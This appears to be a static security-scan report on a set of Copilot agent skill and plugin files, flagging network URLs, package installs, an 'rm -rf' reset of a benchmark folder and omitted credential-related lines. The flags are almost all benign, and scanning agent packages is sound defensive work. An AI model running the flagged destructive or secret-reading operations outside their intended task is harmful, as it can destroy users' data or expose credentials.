These all live in [`backstage/backstage`](https://github.com/backstage/backstage); the user's workspace likely doesn't contain them. Browse via the links below. - Network accessline 218
| What you need | Where to read | | ---------- - Network accessline 219
| ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Spec examp - Network accessline 220
| Spec example (small) | [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) | - Network accessline 221
| Spec example (large) | [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) | - Network accessline 222
| Router using `createOpenApiRouter` | [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) | - Network accessline 223
| Test using `wrapServer` | [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) | - Network accessline 224
| Generate command source | [`packages/repo-tools/src/commands/package/schema/openapi/generate/`](https://github.com/backstage/backstage/tree/master/packages/repo-tools/src/commands/package/schema/openapi/generate) | - Network accessline 225
| Spec lint command source | [`packages/repo-tools/src/commands/repo/schema/openapi/lint.ts`](https://github.com/backstage/backstage/blob/master/packages/repo-tools/src/commands/repo/schema/openapi/lint.ts) | - Network accessline 226
| `wrapServer` implementation | [`packages/backend-openapi-utils/src/testUtils.ts`](https://github.com/backstage/backstage/blob/master/packages/backend-openapi-utils/src/testUtils.ts) | - Network accessline 227
| Client output reference | [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) |
harness/github-copilot/plugins/backstage-expert/skills/plugin-analytics-instrumentation/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/github-copilot/plugins/backstage-expert/skills/plugin-full-frontend-system-migration/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/github-copilot/plugins/backstage-expert/skills/plugin-full-frontend-system-migration/references/upstream/SKILL.md
- Network accessline 122
For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo - Network accessline 550
- [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating) - Network accessline 551
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 552
- [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)
harness/github-copilot/plugins/backstage-expert/skills/plugin-new-frontend-system-support/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/github-copilot/plugins/backstage-expert/skills/plugin-new-frontend-system-support/references/upstream/SKILL.md
- Network accessline 56
For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo - Network accessline 425
- [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating) - Network accessline 426
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 427
- [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)
harness/github-copilot/plugins/career-productivity/skills/brag-sheet/SKILL.md
- Network accessline 193
- [copilot-brag-sheet](https://github.com/microsoft/copilot-brag-sheet)
harness/github-copilot/plugins/career-productivity/skills/meeting-minutes/SKILL.md
- Network accessline 62
| Due date | Every action item must include `YYYY-MM-DD`, `ASAP`, or a clear timeframe. | | Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, f - Network accessline 63
| Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. | | Uncertainty | Do not infer unsu - Network accessline 64
| Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. |
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/SKILL.md
- Network accessline 15
Expert skill for converting Markdown documents to HTML using the marked.js library, or writing data conversion scripts; in this case scripts similar to [markedJS/marked](https://github.com/markedjs/marked) repository. For custom scripts kno - Network accessline 40
One sentence with a [link](https://example.com), and a HTML snippet like `<p>paragraph tag</p>`. - Network accessline 67
<p>One sentence with a <a href="https://example.com">link</a>, and a HTML snippet like <code><p>paragraph tag</p></code>.</p>
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/basic-markdown-to-html.md
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/basic-markdown.md
- Network accessline 15
 - Network accessline 19
 - Network accessline 48
 - Network accessline 50
> \[!NOTE] > When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 1 - Network accessline 51
> When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 16 16" class - Network accessline 61
 - Network accessline 74
 - Network accessline 76
For more information, see [Creating and highlighting code blocks](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks). - Network accessline 78
If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/en/get-star - Network accessline 88
 - Network accessline 92
| Color | Syntax | Example | Output - Network accessline 93
| ----- | --------------------------- | ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ - Network accessline 94
| HEX | <code>\`#RRGGBB\`</code> | <code>\`#0969DA\`</code> | \`</code> | <code>\`rgb(9, 105, 218)\`</code> | \`</code> | <code>\`hsl(212, 92%, 45%)\`</code> | .` - Network accessline 111
 - Network accessline 113
> \[!NOTE] > GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/a - Network accessline 114
> GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-r - Network accessline 120
 - Network accessline 130
For more detailed information on the requirements of URI fragments, see [RFC 3986: Uniform Resource Identifier (URI): Generic Syntax, Section 3.5](https://www.rfc-editor.org/rfc/rfc3986#section-3.5). - Network accessline 255
`` - Network accessline 257
 - Network accessline 293
 - Network accessline 303
 - Network accessline 309
To create a nested list using the web editor on GitHub or a text editor that uses a monospaced font, like [Visual Studio Code](https://code.visualstudio.com/), you can align your list visually. Type space characters in front of your nested - Network accessline 320
 - Network accessline 322
 - Network accessline 333
 - Network accessline 343
 - Network accessline 345
For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265). - Network accessline 352
- [x] #739 - [ ] https://github.com/{owner}/{repo}/issues/{issue-number} - Network accessline 353
- [ ] https://github.com/{owner}/{repo}/issues/{issue-number} - Network accessline 357
 - Network accessline 363
For more information, see [About tasklists](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). - Network accessline 367
You can mention a person or [team](https://docs.github.com/en/organizations/organizing-members-into-teams) on GitHub by typing <kbd>@</kbd> plus their username or team name. This will trigger a notification and bring their attention to the - Network accessline 374
 - Network accessline 376
When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see [About organization teams](https://docs.github.com/en/organizations/o - Network accessline 386
For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls). - Network accessline 390
If custom autolink references are configured for a repository, then references to external resources, like a JIRA issue or Zendesk ticket, convert into shortened links. To know which autolinks are available in your repository, contact someo - Network accessline 402
 - Network accessline 406
For a full list of available emoji and codes, see [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/github-actions-auto-update/README.md). - Network accessline 428
 - Network accessline 460
 - Network accessline 476
 - Network accessline 478
For more information on backslashes, see Daring Fireball's [Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash). - Network accessline 487
 - Network accessline 494
*[About writing and formatting on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github) - Network accessline 495
*[Working with advanced formatting](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting) - Network accessline 496
*[Quickstart for writing on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/code-blocks-to-html.md
- Network accessline 117
[About writing and formatting on GitHub](https://docs.github.com/...) - Network accessline 121
<a href="https://docs.github.com/...">About writing and formatting on GitHub</a> - Network accessline 129
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 133
<ul> <li> <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a> - Network accessline 134
<li> <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a> </li> - Network accessline 135
<a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/code-blocks.md
- Network accessline 17
 - Network accessline 32
 - Network accessline 58
> \[!TIP] > When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pa - Network accessline 59
> When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pages/settin - Network accessline 61
We use [Linguist](https://github.com/github-linguist/linguist) to perform language detection and to select [third-party grammars](https://github.com/github-linguist/linguist/blob/main/vendor/README.md) for syntax highlighting. You can find - Network accessline 65
You can also use code blocks to create diagrams in Markdown. GitHub supports Mermaid, GeoJSON, TopoJSON, and ASCII STL syntax. For more information, see [Creating diagrams](https://docs.github.com/get-started/writing-on-github/working-with- - Network accessline 69
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 70
* [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/collapsed-sections.md
- Network accessline 33
 - Network accessline 37
 - Network accessline 47
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 48
* [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/extended-guide.md
- Network accessline 12
```html <p>This sentence uses <code>$</code> delimiters to show math inline: <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 13
<p>This sentence uses <code>$</code> delimiters to show math inline: <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> <msqrt><mn>3</mn><mi>x</mi><mo>−</mo><mn>1</mn></msqrt> - Network accessline 14
<math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 29
<p><strong>The Cauchy-Schwarz Inequality</strong><br> <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 30
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msup> - Network accessline 31
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 180
- [DOMPurify](https://github.com/cure53/DOMPurify) (recommended) - Network accessline 181
- [sanitize-html](https://github.com/apostrophecms/sanitize-html) - Network accessline 182
- [js-xss](https://github.com/leizongmin/js-xss) - Network accessline 206
- Pandoc installed (download from <https://pandoc.org/installing.html>) - Network accessline 402
Recommended sanitizer: [Bluemonday](https://github.com/microcosm-cc/bluemonday) - Network accessline 447
# Access at http://localhost:4000 - Network accessline 538
- Hugo installed (download from <https://gohugo.io/installation/>) - Network accessline 553
# Add a theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 554
git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml - Network accessline 555
git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 584
# Start with live reload and bind to all interfaces hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/ - Network accessline 585
hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/ - Network accessline 682
- [tables.md](../references/tables.md) - [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Network accessline 683
- [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Styling Markdown: <https://github.com/sindresorhus/github-markdown-css> - Network accessline 684
- Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Network accessline 685
- Styling Markdown: <https://github.com/sindresorhus/github-markdown-css> - Network accessline 689
- Official documentation: <https://marked.js.org/> - Network accessline 690
- Advanced options: <https://marked.js.org/using_advanced> - Network accessline 691
- Extensibility: <https://marked.js.org/using_pro> - Network accessline 692
- GitHub repository: <https://github.com/markedjs/marked> - Network accessline 696
- Getting started: <https://pandoc.org/getting-started.html> - Network accessline 697
- Official documentation: <https://pandoc.org/MANUAL.html> - Network accessline 698
- Extensibility: <https://pandoc.org/extras.html> - Network accessline 699
- GitHub repository: <https://github.com/jgm/pandoc> - Network accessline 703
- Official documentation: <https://pkg.go.dev/github.com/gomarkdown/markdown> - Network accessline 704
- Advanced configuration: <https://pkg.go.dev/github.com/gomarkdown/markdown/html> - Network accessline 705
- Markdown processing: <https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html> - Network accessline 706
- GitHub repository: <https://github.com/gomarkdown/markdown> - Network accessline 710
- Official documentation: <https://jekyllrb.com/docs/> - Network accessline 711
- Configuration options: <https://jekyllrb.com/docs/configuration/options/> - Network accessline 712
- Plugins: <https://jekyllrb.com/docs/plugins/> - Network accessline 713
- [Installation](https://jekyllrb.com/docs/plugins/installation/) - Network accessline 714
- [Generators](https://jekyllrb.com/docs/plugins/generators/) - Network accessline 715
- [Converters](https://jekyllrb.com/docs/plugins/converters/) - Network accessline 716
- [Commands](https://jekyllrb.com/docs/plugins/commands/) - Network accessline 717
- [Tags](https://jekyllrb.com/docs/plugins/tags/) - Network accessline 718
- [Filters](https://jekyllrb.com/docs/plugins/filters/) - Network accessline 719
- [Hooks](https://jekyllrb.com/docs/plugins/hooks/) - Network accessline 720
- GitHub repository: <https://github.com/jekyll/jekyll> - Network accessline 724
- Official documentation: <https://gohugo.io/documentation/> - Network accessline 725
- All Settings: <https://gohugo.io/configuration/all/> - Network accessline 726
- Editor Plugins: <https://gohugo.io/tools/editors/> - Network accessline 727
- GitHub repository: <https://github.com/gohugoio/hugo>
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/gomarkdown.md
- Network accessline 249
- [Package Documentation](https://pkg.go.dev/github.com/gomarkdown/markdown) - Network accessline 250
- [Advanced Processing Guide](https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html) - Network accessline 251
- [GitHub Repository](https://github.com/gomarkdown/markdown) - Network accessline 252
- [CLI Tool](https://github.com/gomarkdown/mdtohtml) - Network accessline 253
- [Bluemonday Sanitizer](https://github.com/microcosm-cc/bluemonday)
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/hugo.md
- Dangerous shell operationline 34
sudo apt-get install hugo - Network accessline 36
# Or download from https://gohugo.io/installation/ - Network accessline 48
# Initialize git and add theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 49
git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml - Network accessline 50
git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 135
# Basic settings baseURL = 'https://example.com/' - Network accessline 136
baseURL = 'https://example.com/' - Network accessline 390
- [Hugo Documentation](https://gohugo.io/documentation/) - Network accessline 391
- [Hugo Themes](https://themes.gohugo.io/) - Network accessline 392
- [Hugo Discourse](https://discourse.gohugo.io/) - Network accessline 393
- [GitHub Repository](https://github.com/gohugoio/hugo) - Network accessline 394
- [Quick Reference](https://gohugo.io/quick-reference/)
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/jekyll.md
- Dangerous shell operationline 28
sudo apt-get install ruby-full build-essential zlib1g-dev - Network accessline 31
# Windows (use RubyInstaller) # Download from https://rubyinstaller.org/ - Network accessline 32
# Download from https://rubyinstaller.org/ - Network accessline 50
# Open http://localhost:4000 - Network accessline 116
description: A great blog baseurl: "" url: "https://example.com" - Network accessline 118
url: "https://example.com" - Network accessline 317
- [Jekyll Documentation](https://jekyllrb.com/docs/) - Network accessline 318
- [Liquid Template Language](https://shopify.github.io/liquid/) - Network accessline 319
- [Kramdown Documentation](https://kramdown.gettalong.org/) - Network accessline 320
- [GitHub Repository](https://github.com/jekyll/jekyll) - Network accessline 321
- [Jekyll Themes](https://jekyllthemes.io/)
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/marked.md
- Network accessline 33
<script src="https://cdn.jsdelivr.net/npm/marked/lib/marked.umd.js"></script>
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/pandoc.md
- Network accessline 16
# Or download installer from https://pandoc.org/installing.html - Dangerous shell operationline 30
sudo apt-get install pandoc - Dangerous shell operationline 33
sudo dnf install pandoc - Network accessline 35
# Or download from https://pandoc.org/installing.html - Network accessline 223
- [Pandoc User's Guide](https://pandoc.org/MANUAL.html) - Network accessline 224
- [Pandoc Demos](https://pandoc.org/demos.html) - Network accessline 225
- [Pandoc FAQ](https://pandoc.org/faqs.html) - Network accessline 226
- [GitHub Repository](https://github.com/jgm/pandoc)
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/tables.md
- Network accessline 17
 - Network accessline 30
 - Network accessline 32
If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/get-started - Network accessline 36
You can use [formatting](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) such as links, inline code blocks, and text styling within your table: - Network accessline 45
 - Network accessline 56
 - Network accessline 67
 - Network accessline 71
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 72
* [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/writing-mathematical-expressions-to-html.md
- Network accessline 14
<p>This sentence uses <code>$</code> delimiters to show math inline: <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 15
<math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 45
<p>This sentence uses <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 46
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <mo>‘</mo> - Network accessline 47
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 54
</math-renderer> delimiters to show math inline: <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 55
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msqrt> - Network accessline 56
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 92
<strong>The Cauchy-Schwarz Inequality</strong><br> <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 93
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msup> - Network accessline 94
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 176
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 177
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 252
<p>The equation <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 253
<math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 283
<p><math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 317
<code>\$</code> to display a dollar sign: <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 318
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msqrt> - Network accessline 319
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 339
<span>$</span>100 in half, we calculate <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 340
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <mn>100</mn> - Network accessline 341
<math xmlns="http://www.w3.org/1998/Math/MathML">
harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/writing-mathematical-expressions.md
- Network accessline 7
To enable clear communication of mathematical expressions, GitHub supports LaTeX formatted math within Markdown. For more information, see [LaTeX/Mathematics](http://en.wikibooks.org/wiki/LaTeX/Mathematics) in Wikibooks. - Network accessline 9
GitHub's math rendering capability uses MathJax; an open source, JavaScript-based display engine. MathJax supports a wide range of LaTeX macros, and several useful accessibility extensions. For more information, see [the MathJax documentati - Network accessline 15
There are two options for delimiting a math expression inline with your text. You can either surround the expression with dollar symbols (`$`), or start the expression with <code>$\`</code> and end it with <code>\`$</code>. The latter synta - Network accessline 21
 - Network accessline 27
 - Network accessline 70
 - Network accessline 74
* [The MathJax website](http://mathjax.org) - Network accessline 75
* [Getting started with writing and formatting on GitHub](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github) - Network accessline 76
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
harness/github-copilot/plugins/code-quality-refactoring/skills/em-dash/SKILL.md
- Network accessline 105
- [Case for the em dash](https://www.hardingproject.com/p/the-case-for-the-em-dash) - Network accessline 106
- [em dash guide](https://www.thebookrefinery.com/writing/guide-hyphens-en-dashes-em-dashes/) - Network accessline 107
- [Explaining the em dash](https://www.reddit.com/r/writers/comments/1lv191m/can_someone_explain_em_dash/) - Network accessline 108
- [em dash wikipedia](https://en.wikipedia.org/wiki/Dash) - Network accessline 109
- [Verbose em dash history](https://www.linkedin.com/pulse/long-mark-brief-history-em-dash-christian-buckley-z1lbc) - Network accessline 110
- [Brief em dash history](https://thaothai.substack.com/p/a-brief-history-of-the-em-dash) - Network accessline 111
- [em dash punctuation](https://www.nytimes.com/2019/08/14/style/em-dash-punctuation.html) - Network accessline 112
- [em dash in retrospective](https://medium.com/the-jabber-journal/an-era-to-its-knee-an-em-dash-retrospective-cb5c3c52e4d2) - Network accessline 113
- [Punctuation](https://www.niu.edu/writing-tutorial/punctuation/index.shtml) - Network accessline 114
- [Punctuation Guide](https://www.thepunctuationguide.com/)
harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/LICENSE.txt
harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/SKILL.md
- Network accessline 11
metadata: author: "Andrew Stellman" github: "https://github.com/andrewstellman/quality-playbook" - Network accessline 12
author: "Andrew Stellman" github: "https://github.com/andrewstellman/quality-playbook" version: "1.5.6" - Network accessline 13
github: "https://github.com/andrewstellman/quality-playbook" - Network accessline 55
> Quality Playbook v1.5.6 — by Andrew Stellman > https://github.com/andrewstellman/quality-playbook - Network accessline 56
> https://github.com/andrewstellman/quality-playbook - Network accessline 255
- https://github.com/andrewstellman/quality-playbook
harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/agents/calibration_orchestrator.md
- Dangerous shell operationline 99
3. Reset the benchmark's `quality/` to a known-empty state: `cp -r repos/archive/<bench>/quality/previous_runs/<latest>/ /tmp/save-<bench>/ && rm -rf repos/archive/<bench>/quality/* && cp -r /tmp/save-<bench>/quality/* repos/archive/<bench>
harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/agents/quality-playbook-claude.agent.md
- Network accessline 58
**If not found**, tell the user to install it from https://github.com/andrewstellman/quality-playbook and stop.
harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/agents/quality-playbook.agent.md
- Network accessline 54
> The quality playbook skill isn't installed in this repository yet. Install it from the [quality-playbook repository](https://github.com/andrewstellman/quality-playbook):
harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/quality_gate.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/references/extended-guide.md
harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/references/review_protocols.md
- Access to secretsline 425
[Credential-related source omitted]
harness/github-copilot/plugins/codebase-blueprints/skills/acquire-codebase-knowledge/references/inquiry-checkpoints.md
- Network accessline 46
- What external APIs are called? (search for `axios.`, `fetch(`, `http.Get(`, base URLs in constants)
harness/github-copilot/plugins/codebase-blueprints/skills/acquire-codebase-knowledge/scripts/scan.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/convert-to-md/skills/convert-excel-to-md/references/setup.md
- Dangerous shell operationline 16
- Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`
harness/github-copilot/plugins/convert-to-md/skills/convert-excel-to-md/scripts/convert_excel_to_md.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 64
_REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 65
_MAIN_NS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main" - Network accessline 66
_R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 67
_A_NS = "http://schemas.openxmlformats.org/drawingml/2006/main"
harness/github-copilot/plugins/convert-to-md/skills/convert-pdf-to-md/references/setup.md
- Dangerous shell operationline 16
- Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`
harness/github-copilot/plugins/convert-to-md/skills/convert-pdf-to-md/scripts/convert_pdf_to_md.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/convert-to-md/skills/convert-word-to-md/references/setup.md
- Dangerous shell operationline 16
- Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`
harness/github-copilot/plugins/convert-to-md/skills/convert-word-to-md/scripts/convert_word_to_md.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 53
_W_NS = "http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 54
_R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 55
_REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships"
harness/github-copilot/plugins/copilot-customization-authoring/skills/agent-skill-stack/references/security-installation.md
- Access to secretsline 18
[Credential-related source omitted]
harness/github-copilot/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/inventory_skills.py
harness/github-copilot/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/project_profile.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/render_stack_card.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 80
parts = [ f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">', - Network accessline 81
f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">',
harness/github-copilot/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/skill_index.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/stage_install.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/copilot-customization-authoring/skills/ai-ready/SKILL.md
- Network accessline 21
This local skill is a wrapper. The full `ai-ready` skill by John Papa is large, changes frequently, and remains authoritative at `https://github.com/johnpapa/ai-ready`. John Papa's GitHub profile is `https://github.com/johnpapa`. - Network accessline 94
- [ ] The user is told that `https://github.com/johnpapa/ai-ready` is the source of truth. - Network accessline 103
- [John Papa](https://github.com/johnpapa) - Network accessline 104
- [johnpapa/ai-ready](https://github.com/johnpapa/ai-ready)
harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-cli-quickstart/SKILL.md
- Network accessline 162
> Getting started is easy! Here's how: >- **Already have GitHub CLI?** `gh copilot` (built-in, no install needed) >- **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot` - Network accessline 163
>- **Already have GitHub CLI?** `gh copilot` (built-in, no install needed) >- **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot` >- **Requires:** A GitHub Copilot subscrip - Network accessline 164
